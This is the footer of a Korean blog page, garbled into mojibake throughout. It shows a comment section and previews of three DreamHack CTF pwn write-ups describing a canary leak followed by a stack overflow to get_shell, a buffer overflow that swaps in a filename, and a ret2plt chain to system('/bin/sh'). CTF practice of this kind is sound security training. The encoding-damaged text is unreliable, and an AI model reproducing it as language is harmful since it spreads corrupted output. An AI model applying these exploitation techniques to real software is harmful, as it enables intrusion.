
์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 2] OOB read ๋กœ ์นด๋‚˜๋ฆฌ ํ˜๋ ค๋ณด๊ณ  BOF ๋กœ ์…ธ โ€” DreamHack ssp_001 ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] OOB read ๋กœ ์นด๋‚˜๋ฆฌ ํ˜๋ ค๋ณด๊ณ  BOF ๋กœ ์…ธ โ€” DreamHack ssp_001 ํ’€์ด

์Šคํƒ ์นด๋‚˜๋ฆฌ๊ฐ€ ์ผœ์ง„ 32๋น„ํŠธ BOF ๋ฌธ์ œ. (P)rint ๋ฉ”๋‰ด์˜ box[idx] ๊ฐ€ ์ธ๋ฑ์Šค ๊ฒ€์‚ฌ๋ฅผ ์•ˆ ํ•ด OOB read ๊ฐ€ ๋˜๊ณ , box ๊ธฐ์ค€ +0x80 ์œ„์น˜์— ์žˆ๋Š” ์นด๋‚˜๋ฆฌ 4๋ฐ”์ดํŠธ๋ฅผ ๊ทธ๋Œ€๋กœ ์ฝ์–ด์˜ฌ ์ˆ˜ ์žˆ๋‹ค. ์นด๋‚˜๋ฆฌ๋ฅผ ๋ณต์›ํ•œ ๋’ค (E)xit ๋ฉ”๋‰ด์˜ read(name, name_len) ๊ธธ์ด ๋ฌด์ œํ•œ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ ์นด๋‚˜๋ฆฌ๋ฅผ ๊ทธ๋Œ€๋กœ ์ฑ„์šฐ๊ณ  ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ get_shell ๋กœ ๋ฎ์–ด ์…ธ์„ ์žก๋Š”๋‹ค.
#dreamhack#ctf#pwn+6
2026-06-27#dreamhack +6
[๐Ÿฅ‰ Bronze 3] ๋ฐ˜ํ™˜ ์ฃผ์†Œ ๋Œ€์‹  "์—ด ํŒŒ์ผ ์ด๋ฆ„"์„ ๋ฎ๋Š”๋‹ค โ€” DreamHack bof ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 3] ๋ฐ˜ํ™˜ ์ฃผ์†Œ ๋Œ€์‹  "์—ด ํŒŒ์ผ ์ด๋ฆ„"์„ ๋ฎ๋Š”๋‹ค โ€” DreamHack bof ํ’€์ด

scanf("%144s") ๋กœ ์Šคํƒ ๋ฒ„ํผ๋ฅผ ๋„˜์น˜๋Š” ์ „ํ˜•์ ์ธ ์˜ค๋ฒ„ํ”Œ๋กœ ๋ฌธ์ œ. ๊ทธ๋Ÿฐ๋ฐ ๋ฎ์„ ๊ฒƒ์€ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๊ฐ€ ์•„๋‹ˆ๋‹ค. ๋ฒ„ํผ ๋ฐ”๋กœ ์•„๋ž˜์— read_cat() ์ด open() ํ•  ํŒŒ์ผ๋ช… "./cat" ์ด ๋†“์—ฌ ์žˆ์–ด์„œ, ๊ทธ ์ž๋ฆฌ๋ฅผ "flag" ๋กœ ๋ฎ์œผ๋ฉด ํ”„๋กœ๊ทธ๋žจ์ด ์•Œ์•„์„œ flag ํŒŒ์ผ์„ ์—ด์–ด ์ถœ๋ ฅํ•œ๋‹ค. ๋ฒ„ํผ์™€ ํŒŒ์ผ๋ช… ์‚ฌ์ด ๊ฑฐ๋ฆฌ 0x80 ๋งŒ ๋งž์ถ”๋ฉด ๋.
#dreamhack#ctf#pwn+5
2026-07-07#dreamhack +5
[๐Ÿฅ‰ Bronze 1] ์นด๋‚˜๋ฆฌ ํ˜๋ฆฌ๊ณ  system ์œผ๋กœ ๋˜๋Œ์•„๊ฐ€๊ธฐ โ€” DreamHack Return to Library ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 1] ์นด๋‚˜๋ฆฌ ํ˜๋ฆฌ๊ณ  system ์œผ๋กœ ๋˜๋Œ์•„๊ฐ€๊ธฐ โ€” DreamHack Return to Library ํ’€์ด

NX ๊ฐ€ ์ผœ์ ธ ์Šคํƒ ์…ธ์ฝ”๋“œ๋ฅผ ๋ชป ์“ฐ๋Š” BOF ๋ฌธ์ œ. ์ฒซ read ๋’ค printf("%s") ๊ฐ€ ์นด๋‚˜๋ฆฌ LSB(\x00) ๋งŒ ๋ฎ์œผ๋ฉด ์ƒ์œ„ 7๋ฐ”์ดํŠธ๋ฅผ ํ˜๋ ค์ค€๋‹ค. ๊ทธ๊ฑธ๋กœ ์นด๋‚˜๋ฆฌ๋ฅผ ๋ณต์›ํ•˜๊ณ , ๋‘ ๋ฒˆ์งธ read ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ pop rdi โ†’ "/bin/sh" โ†’ system@plt ๋กœ ์ด์–ด์ง€๋Š” ret2plt ์ฒด์ธ์„ ์˜ฌ๋ ค ์…ธ์„ ๋„์šด๋‹ค. ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์ฒ˜์Œ์— system ์„ ํ•œ ๋ฒˆ ํ˜ธ์ถœํ•ด ์ค˜์„œ PLT ๊ฐ€ ์ด๋ฏธ ์ฑ„์›Œ์ ธ ์žˆ๋Š” ๊ฒŒ ํฌ์ธํŠธ.
#dreamhack#ctf#pwn+6
2026-06-30#dreamhack +5